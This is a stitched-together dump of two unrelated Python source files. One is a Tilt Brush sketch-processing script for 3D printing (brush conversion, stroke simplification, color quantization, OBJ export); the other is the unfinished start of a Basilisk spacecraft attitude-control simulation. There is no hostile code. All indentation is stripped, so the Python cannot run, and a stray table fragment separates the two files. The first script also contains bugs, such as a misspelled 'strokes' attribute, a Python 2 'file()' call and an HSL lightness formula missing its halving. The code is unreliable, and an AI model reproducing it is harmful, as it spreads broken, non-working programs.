cmin = min(r, g, b)
cmax = max(r, g, b)
delta = cmax - cmin
h = 0
s = 0
l = (cmax + cmin)
if delta != 0:
if l < 0.5:
s = delta / l
else:
s = delta / (2 - l)
if r == cmax:
h = (g - b) / delta
elif g == cmax:
h = 2 + (b - r) / delta
elif b == cmax:
h = 4 + (r - g) / delta
return h, s, l
# ----------------------------------------------------------------------
# Brush conversion
# ----------------------------------------------------------------------
def get_replacements_by_guid(replacements_by_name):
"""Returns a lookup table that is by-guid rather than by-name."""
brush_lookup = BrushLookup.get()
def guid_or_name_to_guid(guid_or_name):
if guid_or_name in brush_lookup.guid_to_name:
return guid_or_name
elif guid_or_name in brush_lookup.name_to_guids:
return brush_lookup.get_unique_guid(guid_or_name)
else:
raise LookupError("Not a known brush or brush guid: %r" % guid_or_name)
dct = {}
for before, after in replacements_by_name:
before_guid = guid_or_name_to_guid(before)
if after is True:
after_guid = before_guid
elif after is None:
after_guid = None
else:
after_guid = guid_or_name_to_guid(after)
dct[before_guid] = after_guid
return dct
def convert_brushes(tilt, replacements_by_name, show_removed=False):
"""Convert brushes to 3d-printable versions, or remove their strokes from the tilt."""
replacements = get_replacements_by_guid(replacements_by_name)
brush_lookup = BrushLookup.get()
with tilt.mutable_metadata() as dct:
index_to_guid = dct['BrushIndex']
# First, show us what brushes the tilt file uses
used_guids = Counter()
for stroke in tilt.sketch.strokes:
guid = index_to_guid[stroke.brush_idx]
used_guids[guid] += 1
print("Brushes used:")
for guid, n in sorted(list(used_guids.items()), key=lambda p:-p[1]):
print(" %5d %s" % (n, brush_lookup.guid_to_name.get(guid)))
sys.stdout.flush()
del used_guids
index_to_new_index = {}
for i, guid in enumerate(index_to_guid):
name = brush_lookup.guid_to_name.get(guid, guid)
try:
new_guid = replacements[guid]
except KeyError:
print("%d: Don't know what to do with brush %s" % (i, name))
index_to_new_index[i] = i
else:
new_name = brush_lookup.guid_to_name.get(new_guid, new_guid)
if new_guid is None:
print("%d: Remove %s" % (i, name))
index_to_new_index[i] = None
else:
if guid == new_guid:
print("%d: Keep %s" % (i, name))
elif name == new_name:
print("%d: Replace %s/%s -> %s/%s" % (i, name, guid, new_name, new_guid))
else:
print("%d: Replace %s -> %s" % (i, name, new_name))
try:
new_idx = index_to_guid.index(new_guid)
except ValueError:
new_idx = len(index_to_guid)
index_to_guid.append(new_guid)
index_to_new_index[i] = new_idx
brush_indices_to_remove = set(i for (i, new_i) in list(index_to_new_index.items()) if new_i is None)
if brush_indices_to_remove:
old_len = len(tilt.sketch.strokes)
if show_removed:
# Render in magenta instead of removing
for stroke in tilt.sketch.strokes:
if stroke.brush_idx in brush_indices_to_remove:
stroke.brush_color = (1, 0, 1, 1)
else:
stroke.brush_color = stroke.brush_color
else:
tilt.sketch.strokes[:] = [s for s in tilt.sketch.strokes if s.brush_idx not in brush_indices_to_remove]
new_len = len(tilt.sketch.strokes)
print("Strokes %d -> %d" % (old_len, new_len))
for stroke in tilt.sketch.strokes:
new_idx = index_to_new_index[stroke.brush_idx]
# Might be none if it's a removed brush
if new_idx is not None:
stroke.brush_idx = new_idx
# ----------------------------------------------------------------------
# Stroke simplification
# ----------------------------------------------------------------------
def calculate_pos_error(cp0, cp1, middle_cps):
if len(middle_cps) == 0:
return 0
strip_length = cp1._dist - cp0._dist
if strip_length <= 0:
return 0
max_pos_error = 0
for i, cp in enumerate(middle_cps):
t = (cp._dist - cp0._dist) / strip_length
pos_interpolated = t * cp0._pos + (1-t) * cp1._pos
pos_error = numpy.linalg.norm((pos_interpolated - cp._pos))
if pos_error > max_pos_error:
max_pos_error = pos_error
return max_pos_error
def simplify_stroke(stroke, max_error):
# Do greedy optimization of stroke.
REQUIRED_END_CPS = 1 # or 2
keep_cps = []
toss_cps = [] # The current set of candidates to toss
n = len(stroke.controlpoints)
brush_size = stroke.brush_size
for i, cp in enumerate(stroke.controlpoints):
cp._pos = numpy.array(cp.position)
if i == 0:
cp._dist = 0
else:
prev_cp = stroke.controlpoints[i-1]
cp._dist = prev_cp._dist + numpy.linalg.norm(prev_cp._pos - cp._pos)
if REQUIRED_END_CPS <= i < n - REQUIRED_END_CPS:
pos_error = calculate_pos_error(keep_cps[-1], cp, toss_cps)
keep = (pos_error > max_error * stroke.brush_size)
#print " %3d: %s %f %f" % (i, keep, pos_error, stroke.brush_size * .2)
else:
keep = True
#print " %3d: True (End)" % i
if keep:
keep_cps.append(cp)
toss_cps = []
else:
toss_cps.append(cp)
stroke.controlpoints[:] = keep_cps
def reduce_control_points(tilt, max_error):
# If debug_simplify, the resulting .tilt file shows both the old and the new
before_cp = 0
after_cp = 0
msg("Simplify strokes")
pct = 0
n = len(tilt.sketch.strokes)
for i, stroke in enumerate(tilt.sketch.strokes):
new_pct = (i+1) * 100 / n
if new_pct != pct:
pct = new_pct
removed_pct = (before_cp - after_cp) * 100 / (before_cp+1)
msg("Simplify strokes: %3d%% %5d/%5d Removed %3d%%" % (pct, i, n, removed_pct))
before_cp += len(stroke.controlpoints)
simplify_stroke(stroke, max_error)
after_cp += len(stroke.controlpoints)
msg("Simplify strokes: done")
msgln("Control points: %5d -> %5d (%2d%%)" % (
before_cp, after_cp, after_cp * 100 / before_cp))
# ----------------------------------------------------------------------
# Stray strokes
# ----------------------------------------------------------------------
def remove_stray_strokes(tilt, max_dist=0, replacement_brush_guid=None):
"""Show histograms of control point positions, to help with resizing."""
import numpy as np
from math import sqrt
def iter_pos(tilt):
first_cp = 0
for stroke in tilt.sketch.strokes:
stroke._first_cp = first_cp
first_cp += len(stroke.controlpoints)
for cp in stroke.controlpoints:
yield cp.position
positions = np.array(list(iter_pos(tilt)))
if False:
# Print out x/y/z histograms
histograms = [np.histogram(positions[... , i], bins=30) for i in range(3)]
for irow in range(len(histograms[0][0])+1):
for axis, histogram in enumerate(histograms):
try:
print("%s %3d %6d " % ('xyz'[axis], histogram[1][irow], histogram[0][irow]), end=' ')
except IndexError:
print("%s %3d %6s " % ('xyz'[axis], histogram[1][irow], ''), end=' ')
print()
if max_dist > 0:
# Convert replacement guid -> replacement index
if replacement_brush_guid is None:
replacement_brush_index = None
else:
with tilt.mutable_metadata() as dct:
try:
replacement_brush_index = dct['BrushIndex'].index(replacement_brush_guid)
except ValueError:
dct['BrushIndex'].append(replacement_brush_guid)
replacement_brush_index = dct['BrushIndex'].index(replacement_brush_guid)
# Compute Mahalanobis distance and remove strokes that fall outside
# https://en.wikipedia.org/wiki/Mahalanobis_distance
mean = np.mean(positions, axis=0)
cov = np.cov(positions, rowvar=False)
invcov = np.linalg.inv(cov)
def mahalanobis_distance(v):
"""Return distance of row vector"""
cv = (v - mean)[np.newaxis]
return sqrt(cv.dot(invcov).dot(cv.T)[0, 0])
def out_of_bounds(stroke):
i0 = stroke._first_cp
i1 = i0 + len(stroke.controlpoints)
dists = np.array(list(map(mahalanobis_distance, positions[i0 : i1])))
return np.any(dists > max_dist)
msg("Finding OOB strokes")
# TODO: figure out how to use np.einsum() and remove all the python-level loops
oob_strokes = [
pair for pair in enumerate(tilt.sketch.strokes)
if out_of_bounds(pair[1])
]
msg("")
if len(oob_strokes):
if replacement_brush_index is not None:
for i, stroke in oob_strokes:
print("Replacing out-of-bounds stroke", i)
stroke.brush_idx = replacement_brush_index
stroke.brush_color = (1,0,1,1)
else:
print("Removing %d strokes" % len(oob_strokes))
remove_indices = set(pair[0] for pair in oob_strokes)
tilt.sketch.strokes[:] = [
stroke for i, stroke in enumerate(tilt.sketch.stroke)
if i not in remove_indices
]
# ----------------------------------------------------------------------
# Color reduction
# ----------------------------------------------------------------------
def get_most_similar_factors(n):
"""Factorize n into two numbers.
Returns the best pair, in the sense that the numbers are the closest to each other."""
i = int(n**0.5 + 0.5)
while n % i != 0:
i -= 1
return i, n/i
def get_good_factors(n, max_aspect_ratio=None):
"""Factorize n into two integers that are closest to each other.
If max_aspect_ratio is passed, search numbers >= n until
a pair is found whose aspect ratio is <= max_aspect_ratio."""
if max_aspect_ratio is None:
return get_most_similar_factors(n)
for i in itertools.count():
a, b = get_most_similar_factors(n + i)
if float(b)/a <= max_aspect_ratio:
return a, b
def rgbaf_to_rgb8(rgbaf):
"""Convert [r, g, b, a] floats to (r, g, b) bytes."""
return tuple(int(channel * 255) for channel in rgbaf[0:3])
def rgb8_to_rgbaf(rgb8):
"""Convert (r, g, b) bytes to [r, g, b, a] floats."""
lst = [channel / 255.0 for channel in rgb8]
lst.append(1.0)
return lst
def tilt_colors_to_image(tilt, max_aspect_ratio=None, preserve_colors=()):
"""Returns a PIL.Image containing the colors used in the tilt.
The image will have colors in roughly the same proportion as the
control points in the tilt.
preserve_colors is a list of rgb8 colors."""
import numpy as np
from PIL import Image
assert max_aspect_ratio is None or max_aspect_ratio > 0
preserve_colors = set(preserve_colors)
def iter_rgb8_colors(tilt):
for stroke in tilt.sketch.strokes:
yield (rgbaf_to_rgb8(stroke.brush_color), len(stroke.controlpoints))
def by_decreasing_usage(counter_pair):
# Sort function for colors
return -counter_pair[1]
def by_color_similarity(counter_pair):
# Sort function for colors
rgb8, usage = counter_pair
h, s, l = rgb8_to_hsl(rgb8)
return (rgb8 in preserve_colors), l
counter = Counter()
for color, n in iter_rgb8_colors(tilt):
counter[color] += n
most_used_color, amt = max(iter(counter.items()), key=lambda pair: pair[1])
for rgb8 in preserve_colors:
if rgb8 not in counter:
print("Ignoring: #%02x%02x%02x is not in the image" % rgb8)
else:
counter[rgb8] += amt / 2
# Find a "nice" width and height, possibly adjusting the number of texels
num_texels = sum(counter.values())
width, height = get_good_factors(num_texels, max_aspect_ratio)
if width * height != num_texels:
counter[most_used_color] += width * height - num_texels
assert counter[most_used_color] > 0
num_texels = sum(counter.values())
assert width * height == num_texels
# Expand the colors into a 1d array, then turn into an Image
colors_array = np.zeros(shape=(num_texels, 3), dtype='uint8')
i = 0
# The sort used here only matters to humans when they look at the images
colors_and_counts = sorted(iter(counter.items()), key=by_color_similarity)
# colors_and_counts = sorted(counter.iteritems(), key=by_decreasing_usage)
for (color, count) in colors_and_counts:
colors_array[i:i+count] = color
i += count
colors_array.shape = (height, width, 3)
return Image.fromarray(colors_array, mode='RGB')
def get_quantized_image_pillow(im, num_colors):
MAXIMUM_COVERAGE = 1
print("Falling back to old color quantization")
return im.quantize(colors=num_colors, method=MAXIMUM_COVERAGE), 'pillow'
def get_quantized_image_pngquant(im, num_colors):
from PIL import Image
import subprocess
# pngquant errors out if its best solution is below this "quality"
QUALITY_MIN = 0 # never error out
# pngquant stops using colors when "quality" goes above this.
# I have no real feeling for what this number means in practice
QUALITY_MAX = 40
im.save('tmp_pngquant.png')
try:
subprocess.check_call([
'pngquant',
'--nofs', # no dithering
'--force',
'--quality', '%d-%d' % (QUALITY_MIN, QUALITY_MAX),
'-o', 'tmp_pngquant_out.png',
str(num_colors), '--',
'tmp_pngquant.png'
])
imq = Image.open('tmp_pngquant_out.png')
imq.load()
finally:
if os.path.exists('tmp_pngquant.png'):
os.unlink('tmp_pngquant.png')
if os.path.exists('tmp_pngquant_out.png'):
os.unlink('tmp_pngquant_out.png')
return imq, 'pngquant'
def get_quantized_image(im, num_colors):
try:
return get_quantized_image_pngquant(im, num_colors)
except subprocess.CalledProcessError as e:
print("Error running pngquant: %s" % e)
except OSError as e:
print("Missing pngquant: %s" % e)
print("Download pngquant.exe it and put it in your PATH.")
return get_quantized_image_pillow(im, num_colors)
def simplify_colors(tilt, num_colors, preserve_colors):
im = tilt_colors_to_image(tilt, max_aspect_ratio=4, preserve_colors=preserve_colors)
if num_colors < 0:
# Little hack to force use of pillow
imq, method = get_quantized_image_pillow(im, -num_colors)
else:
imq, method = get_quantized_image(im, num_colors)
def iter_rgb8(im):
return zip(im.getdata(0), im.getdata(1), im.getdata(2))
def get_imq_color(ipixel, data=imq.getdata(), palette=imq.getpalette()):
# Look up color in imq, which is awkward because it's palettized
palette_entry = data[ipixel]
r, g, b = palette[palette_entry * 3 : (palette_entry + 1) * 3]
return (r, g, b)
# Create table mapping unquantized rgb8 to quantized rgbaf
old_to_new = {}
idx = 0
for (old_color, group) in itertools.groupby(iter_rgb8(im)):
assert old_color not in old_to_new
old_to_new[old_color] = rgb8_to_rgbaf(get_imq_color(idx))
idx += len(list(group))
for stroke in tilt.sketch.strokes:
stroke.brush_color = old_to_new[rgbaf_to_rgb8(stroke.brush_color)]
if True:
import numpy as np
for old8, newf in old_to_new.items():
oldv = np.array(rgb8_to_rgbaf(old8)[0:3])
newv = np.array(newf[0:3])
err = oldv - newv
err = math.sqrt(np.dot(err, err))
if err > .2:
print("High color error: #%02x%02x%02x" % old8)
num_colors = len(set(map(tuple, list(old_to_new.values()))))
base, _ = os.path.splitext(tilt.filename)
im.save('%s_%s.png' % (base, 'orig'))
imq.save('%s_%s_%d.png' % (base, method, num_colors))
# ----------------------------------------------------------------------
# Split export into multiple .obj files
# ----------------------------------------------------------------------
def iter_aggregated_by_color(json_filename):
"""Yields TiltBrushMesh instances, each of a uniform color."""
from tiltbrush.export import iter_meshes, TiltBrushMesh
def by_color(m): return m.c[0]
meshes = iter_meshes(json_filename)
for (color, group) in itertools.groupby(sorted(meshes, key=by_color), key=by_color):
yield TiltBrushMesh.from_meshes(group)
def write_simple_obj(mesh, outf_name):
from io import StringIO
tmpf = StringIO()
for v in mesh.v:
tmpf.write("v %f %f %f\n" % v)
for (t1, t2, t3) in mesh.tri:
t1 += 1; t2 += 1; t3 += 1
tmpf.write("f %d %d %d\n" % (t1, t2, t3))
with file(outf_name, 'wb') as outf:
outf.write(tmpf.getvalue())
def split_json_into_obj(json_filename):
import struct
output_base = os.path.splitext(json_filename)[0].replace('_out', '')
meshes = list(iter_aggregated_by_color(json_filename))
meshes.sort(key=lambda m: len(m.v), reverse=True)
for i, mesh in enumerate(meshes):
# It's the "ignore normals" that does the most collapsing here.
mesh.collapse_verts(ignore=('uv0', 'uv1', 'c', 't', 'n'))
mesh.remove_degenerate()
(r, g, b, a) = struct.unpack('4B', struct.pack('I', mesh.c[0]))
assert a == 255, (r, g, b, a)
hex_color = '%02x%02x%02x' % (r, g, b)
outf_name = '%s %02d %s.obj' % (output_base, i, hex_color)
write_simple_obj(mesh, outf_name)
msgln("Wrote %s" % outf_name)
# ----------------------------------------------------------------------
# Main
# ----------------------------------------------------------------------
def process_tilt(filename, args):
msg("Load tilt")
tilt = Tilt(filename)
msg("Load strokes")
tilt.sketch.strokes
msg("")
if args.debug:
msg("Clone strokes")
before_strokes = [s.clone() for s in tilt.sketch.strokes]
# Do this before color quantization, because it removes strokes (and their colors)
if args.convert_brushes:
convert_brushes(tilt, BRUSH_REPLACEMENTS)
if args.remove_stray_strokes is not None:
remove_stray_strokes(tilt, args.remove_stray_strokes,
BrushLookup.get().get_unique_guid('Wire'))
if args.pos_error_tolerance > 0:
reduce_control_points(tilt, args.pos_error_tolerance)
if args.simplify_colors is not None:
simplify_colors(tilt, num_colors=args.simplify_colors, preserve_colors=args.preserve_colors)
if args.debug:
final_strokes = []
# interleave them so it renders semi-nicely...
for before, after in itertools.zip_longest(before_strokes, tilt.sketch.strokes):
if before is not None:
for cp in before.controlpoints:
cp.position[1] += 10
final_strokes.append(before)
if after is not None:
final_strokes.append(after)
tilt.sketch.strokes[:] = final_strokes
tilt.write_sketch()
msgln("Wrote %s" % os.path.basename(tilt.filename))
def main():
import argparse
parser = argparse.ArgumentParser(usage='''%(prog)s [ files ]
Process .tilt files to get them ready for 3D printing.
You should generally do the steps in this order:
1. Use --remove-stray-strokes (which actually just colors them magenta).
Manually delete the strokes you don't want to keep.
2. Experiment with different values for --simplify-colors. Use
--preserve-color option to force a color to remain present.
3. Use --convert-brushes and --pos-error-tolerance.
4. Load .tilt files in Tilt Brush, and export to .json
5. Convert from .json -> multiple .obj files
''')
def hex_color(arg):
arg = arg.lower()
m = re.match(r'^#?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$', arg)
if m is not None:
return tuple(int(m.group(i), 16) for i in (1, 2, 3))
else:
raise argparse.ArgumentTypeError("Must be exactly hex 6 digits: %r" % arg)
parser.add_argument(
'--debug', action='store_true',
help='For debugging: put both the original and modified strokes in the resulting .tilt file')
parser.add_argument(
'--remove-stray-strokes', metavar='float', type=float, default=None,
help="Replace strokes that are far away from the sketch with magenta wire. Argument is the number of standard deviations; 5.0 is a reasonable starting point.")
parser.add_argument(
'--simplify-colors', type=int, metavar='N',
help='Simplify down to N colors. Use a negative number to try the alternate algorithm.')
parser.add_argument(
'--preserve-color', dest='preserve_colors', type=hex_color, action='append',
default=[],
help='Color to preserve, as a hex string like #ff00ff')
parser.add_argument(
'--convert-brushes', action='store_true',
help='Convert brushes to 3d-printable ones')
parser.add_argument(
'--pos-error-tolerance', type=float, default=0,
help='Allowable positional error when simplifying strokes, as a fraction of stroke width. If 0, do not simplify. .1 to .3 are good values. (default %(default)s)')
parser.add_argument('-o', dest='output_file', help='Name of output file (optional)')
parser.add_argument('files', type=str, nargs='+', help='File(s) to hack')
args = parser.parse_args()
for i, orig_filename in enumerate(args.files):
if orig_filename.endswith('.tilt'):
base, ext = os.path.splitext(orig_filename)
if i == 0 and args.output_file is not None:
working_filename = args.output_file
else:
working_filename = base + '_out' + ext
shutil.copyfile(orig_filename, working_filename)
process_tilt(working_filename, args)
elif orig_filename.endswith('.json'):
split_json_into_obj(orig_filename)
if __name__=='__main__':
main()
| 23,882 | 8,580 |
''' '''
'''
ISC License
Copyright (c) 2016, Autonomous Vehicle Systems Lab, University of Colorado at Boulder
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
'''
#
# Basilisk Scenario Script and Integrated Test
#
# Purpose: Integrated test of the spacecraftPlus(), extForceTorque, simpleNav() and
# MRP_Feedback() modules. Illustrates a 6-DOV spacecraft detumbling in orbit.
# This scenario is the same as scenarioAttitudeControl, but with the
# difference that here the control and dynamics are executed at different
# frequencies or time steps.
# Author: Hanspeter Schaub
# Creation Date: Nov. 25, 2016
#
import pytest
import os
import numpy as np
import matplotlib.pyplot as plt
from datetime import datetime
from Basilisk import __path__
# import general simulation support files
from Basilisk.utilities import SimulationBaseClass
from Basilisk.utilities import unitTestSupport # general support file with common unit test functions
from Basilisk.utilities import simIncludeGravBody
from Basilisk.utilities import macros
from Basilisk.utilities import orbitalMotion
from Basilisk.utilities import simIncludeRW
from Basilisk.utilities import fswSetupRW
# import simulation related support
from Basilisk.simulation import spacecraftPlus
from Basilisk.simulation import extForceTorque
from Basilisk.simulation import simMessages
from Basilisk.simulation import sim_model
from Basilisk.simulation import simple_nav
from Basilisk.simulation import mag_meter
from Basilisk.simulation import imu_sensor
from Basilisk.simulation import coarse_sun_sensor
from Basilisk.simulation import reactionWheelStateEffector
from Basilisk.simulation import rwVoltageInterface
from Basilisk.simulation import torqueRodDynamicEffector
# import FSW Algorithm related support
from Basilisk.fswAlgorithms import B_DOT
from Basilisk.fswAlgorithms import inertial3D
from Basilisk.fswAlgorithms import attTrackingError
from Basilisk.fswAlgorithms import rwMotorVoltage
from Basilisk.fswAlgorithms import rwMotorTorque
from Basilisk.fswAlgorithms import maxwellLS
from Basilisk.fswAlgorithms import QUAT_PD
from Basilisk.fswAlgorithms import sunSafePoint
# import message declarations
from Basilisk.fswAlgorithms import fswMessages
bskPath = __path__[0]
from Basilisk import pyswice
def run(show_plots, detumble, saturate, sunpoint, useUnmodeledTorque, useJitterSimple, useRWVoltageIO):
'''Call this routine directly to run the tutorial scenario.'''
# Create simulation variable names
dynTaskName = "dynTask"
dynProcessName = "dynProcess"
fswTaskName = "fswTask"
fswProcessName = "fswProcess"
# Create a sim module as an empty container
scSim = SimulationBaseClass.SimBaseClass()
scSim.TotalSim.terminateSimulation()
# set the simulation time variable used later on
simulationTime = macros.min2nano(2)
#
# create the simulation process
#
dynProcess = scSim.CreateNewProcess(dynProcessName)
fswProcess = scSim.CreateNewProcess(fswProcessName)
# Process message interfaces.
# this step is used to copy messages between the dyn and fsw processes
# as long as the message has the same name, it will get copied over automatically
dyn2FSWInterface = sim_model.SysInterface()
fsw2DynInterface = sim_model.SysInterface()
dyn2FSWInterface.addNewInterface(dynProcessName, fswProcessName)
fsw2DynInterface.addNewInterface(fswProcessName, dynProcessName)
fswProcess.addInterfaceRef(dyn2FSWInterface)
dynProcess.addInterfaceRef(fsw2DynInterface)
# create the dynamics task and specify the integration update time
simTimeStep = macros.sec2nano(0.1)
dynProcess.addTask(scSim.CreateNewTask(dynTaskName, simTimeStep))
fswTimeStep = macros.sec2nano(0.1)
fswProcess.addTask(scSim.CreateNewTask(fswTaskName, fswTimeStep))
# if this scenario is to interface with the BSK Viz, uncomment the following lines
# unitTestSupport.enableVisualization(scSim, dynProcess, simProcessName, 'earth') # The Viz only support 'earth', 'mars', or 'sun'
#
# setup the simulation tasks/objects
#
# initialize spacecraftPlus object and set properties
scObject = spacecraftPlus.SpacecraftPlus()
scObject.ModelTag = "spacecraftBody"
# define the simulation inertia
I = [0.0511, 0., 0.,
0., 0.1522, 0.,
0., 0., 0.1179]
scObject.hub.mHub = 10.0 # kg - spacecraft mass
scObject.hub.r_BcB_B = [[0.0], [0.0], [0.0]] # m - position vector of body-fixed point B relative to CM
scObject.hub.IHubPntBc_B = unitTestSupport.np2EigenMatrix3d(I)
# add spacecraftPlus object to the simulation process
scSim.AddModelToTask(dynTaskName, scObject)
# clear prior gravitational body and SPICE setup definitions
gravFactory = simIncludeGravBody.gravBodyFactory()
gravBodies = gravFactory.createBodies(['earth','sun','moon'])
# setup Earth Gravity Body
earth = gravBodies['earth']
earth.isCentralBody = True # ensure this is the central gravitational body
mu = earth.mu
simIncludeGravBody.loadGravFromFile(bskPath + '/supportData/LocalGravData/GGM03S.txt'
, earth.spherHarm
, 100)
# attach gravity model to spaceCraftPlus
scObject.gravField.gravBodies = spacecraftPlus.GravBodyVector(gravFactory.gravBodies.values())
# setup simulation start data/time
timeInitString = "2020 March 1 00:28:30.0"
spiceTimeStringFormat = '%Y %B %d %H:%M:%S.%f'
timeInit = datetime.strptime(timeInitString, spiceTimeStringFormat)
# setup SPICE module
gravFactory.createSpiceInterface(bskPath + '/supportData/EphemerisData/', timeInitString)
gravFactory.spiceObject.zeroBase = 'Earth'
# add SPICE interface to task list
scSim.AddModelToTask(dynTaskName, gravFactory.spiceObject, None, -1)
# attach gravity model to spaceCraftPlus
scObject.gravField.gravBodies = spacecraftPlus.GravBodyVector(gravFactory.gravBodies.values())
#
# set initial Spacecraft States
#
# setup the orbit using classical orbit elements
oe = orbitalMotion.ClassicElements()
orbitRadius = 550.0
oe.a = (6371.0 + orbitRadius) * 1000.0 # meters
oe.e = 0.0001
oe.i = 45 * macros.D2R
oe.Omega = 0.0 * macros.D2R
oe.omega = 0.0 * macros.D2R
oe.f = 180.0 * macros.D2R
rN, vN = orbitalMotion.elem2rv(mu, oe)
scObject.hub.r_CN_NInit = unitTestSupport.np2EigenVectorXd(rN) # m - r_CN_N
scObject.hub.v_CN_NInit = unitTestSupport.np2EigenVectorXd(vN) # m/s - v_CN_N
scObject.hub.sigma_BNInit = [[0.1], [0.2], [-0.3]] # sigma_BN_B
if detumble:
scObject.hub.omega_BN_BInit = [[13*macros.D2R], [13*macros.D2R], [13*macros.D2R]] # rad/s - omega_BN_B
if sunpoint:
scObject.hub.omega_BN_BInit = [[0.001*macros.D2R], [0.001*macros.D2R], [0.001*macros.D2R]] # rad/s - omega_BN_B
if saturate or sunpoint:
#
# Add RW devices
#
rwFactory = simIncludeRW.rwFactory()
# store the RW dynamical model type
varRWModel = rwFactory.BalancedWheels
if useJitterSimple:
varRWModel = rwFactory.JitterSimple
# create each RW by specifying the RW type, the spin axis gsHat, plus optional arguments
RW1 = rwFactory.create('NanoAvionics_RW0', [0.422618261740699, 0.906307787036650, 0], maxMomentum=0.02, Omega=0. # RPM
, RWModel=varRWModel,
)
RW2 = rwFactory.create('NanoAvionics_RW0', [0.422618261740699, 0, 0.906307787036650], maxMomentum=0.02, Omega=0. # RPM
, RWModel=varRWModel,
)
RW3 = rwFactory.create('NanoAvionics_RW0', [0.422618261740699, -0.906307787036650, 0], maxMomentum=0.02, Omega=0. # RPM
, RWModel=varRWModel,
)
RW4 = rwFactory.create('NanoAvionics_RW0', [0.422618261740699, 0, -0.906307787036650], maxMomentum=0.02, Omega=0.
, RWModel=varRWModel,
)
numRW = rwFactory.getNumOfDevices()
# create RW object container and tie to spacecraft object
rwStateEffector = reactionWheelStateEffector.ReactionWheelStateEffector()
rwStateEffector.InputCmds = "reactionwheel_cmds"
rwFactory.addToSpacecraft("ReactionWheels", rwStateEffector, scObject)
# add RW object array to the simulation process
scSim.AddModelToTask(dynTaskName, rwStateEffector, None, 2)
if useRWVoltageIO:
rwVoltageIO = rwVoltageInterface.RWVoltageInterface()
rwVoltageIO.ModelTag = "rwVoltageInterface"
# set module parameters(s)
rwVoltageIO.setGains(np.array([0.2 / 10.] * 3)) # [Nm/V] conversion gain
# Add test module to runtime call list
scSim.AddModelToTask(dynTaskName, rwVoltageIO)
# add the simple Navigation sensor module. This sets the SC attitude, rate, position
# velocity navigation message
sNavObject = simple_nav.SimpleNav()
sNavObject.ModelTag = "SimpleNavigation"
scSim.AddModelToTask(dynTaskName, sNavObject)
#
# setup sensors
#
# Add IMU Sensor
ImuSensor = imu_sensor.ImuSensor()
ImuSensor.ModelTag = "imusensor"
r_SB_B = np.array([0.0, 0.0, 0.0]) # Sensor position wrt body frame origin
ImuSensor.sensorPos_B = np.array(r_SB_B)
# IMU Parameters
accelLSBIn = 0.0 # Not Used
gyroLSBIn = 0.0001 # Discretization value (least significant bit)
senRotBiasIn = 0.0 # Rotational sensor bias
senRotMaxIn = 50.0 # Gyro saturation value
gyroScale = [1., 1., 1.] # Scale factor for each axis
errorBoundsGryo = [0] * 3 # Bounds random walk
gyroNoise = 0.000 # Noise
ImuSensor.setLSBs(accelLSBIn, gyroLSBIn)
ImuSensor.senRotBias = np.array([senRotBiasIn] * 3)
ImuSensor.senRotMax = senRotMaxIn
ImuSensor.gyroScale = np.array(gyroScale)
ImuSensor.PMatrixGyro = np.eye(3) * gyroNoise
ImuSensor.walkBoundsGyro = np.array(errorBoundsGryo)
# add IMU to Simulation Process
scSim.AddModelToTask(dynTaskName, ImuSensor)
# Add Mag Meter
MagMeter = mag_meter.MagMeter()
MagMeter.ModelTag = "MagMeter"
MagMeterNoise = 0.00000
MagMeterBias = 0.0000
ImuSensor.senRotBias = np.array([MagMeterBias] * 3)
MagMeter.PMatrix = np.eye(3) * MagMeterNoise
MagMeter.inclination = oe.i
MagMeter.orbitRadius = oe.a / 1000 # 6371.0 + orbitRadius
scSim.AddModelToTask(dynTaskName, MagMeter)
# # Add Coarse Sun Sensors
cssConstellation = coarse_sun_sensor.CSSConstellation()
CSSOrientationList = [
[0.866, 0.000, -0.500], # 1 - 13 G
[0.866, -0.433, 0.250], # 2 - 14 G
[0.866, 0.433, 0.250], # 3 - 12 G
[0.500, 0.866, 0.000], # 4 - 10 G
[0.500, -0.866, 0.000], # 5 - 7 G
[0.000, -0.866, -0.500], # 6 - 9 G
[0.500, 0.866, 0.000], # 7 - 5 G
[0.000, 0.866, -0.500], # 8 - 11 G
[0.000, 0.866, 0.500], # 9 - 6 G
[0.500, -0.866, 0.000], # 10 - 4 G
[0.000, -0.866, 0.500], # 11 - 8 G
[0.866, -0.433, -0.250], # 12 - 3 G
[0.866, 0.000, 0.500], # 13 - 1 G
[0.866, 0.433, -0.250] # 14 - 2 G
]
for CSSHat in CSSOrientationList:
newCSS = coarse_sun_sensor.CoarseSunSensor()
newCSS.minOutput = 0.
newCSS.senNoiseStd = 0.00
newCSS.nHat_B = CSSHat
cssConstellation.appendCSS(newCSS)
cssConstellation.outputConstellationMessage = "css_sensors_data"
scSim.AddModelToTask(dynTaskName, cssConstellation)
# Add the normals to the vehicle Config data struct
cssConstVehicle = fswMessages.CSSConfigFswMsg()
totalCSSList = []
for CSSHat in CSSOrientationList:
newCSS = fswMessages.CSSUnitConfigFswMsg()
newCSS.nHat_B = CSSHat
newCSS.CBias = 1.0
totalCSSList.append(newCSS)
cssConstVehicle.nCSS = len(CSSOrientationList)
cssConstVehicle.cssVals = totalCSSList
# setup Sun Position
pyswice.furnsh_c(gravFactory.spiceObject.SPICEDataPath + 'de430.bsp') # solar system bodies
pyswice.furnsh_c(gravFactory.spiceObject.SPICEDataPath + 'naif0011.tls') # leap second file
pyswice.furnsh_c(gravFactory.spiceObject.SPICEDataPath + 'de-403-masses.tpc') # solar system masses
pyswice.furnsh_c(gravFactory.spiceObject.SPICEDataPath + 'pck00010.tpc') # generic Planetary Constants Kernel
sunPositionMsg = simMessages.SpicePlanetStateSimMsg()
sunInitialState = 1000 * pyswice.spkRead('SUN', timeInitString, 'J2000', 'EARTH')
rN_sun = sunInitialState[0:3] # meters
vN_sun = sunInitialState[3:6] # m/s
sunPositionMsg.PositionVector = rN_sun
sunPositionMsg.VelocityVector = vN_sun
#
# setup the FSW algorithm tasks
#
# setup inertial3D guidance module
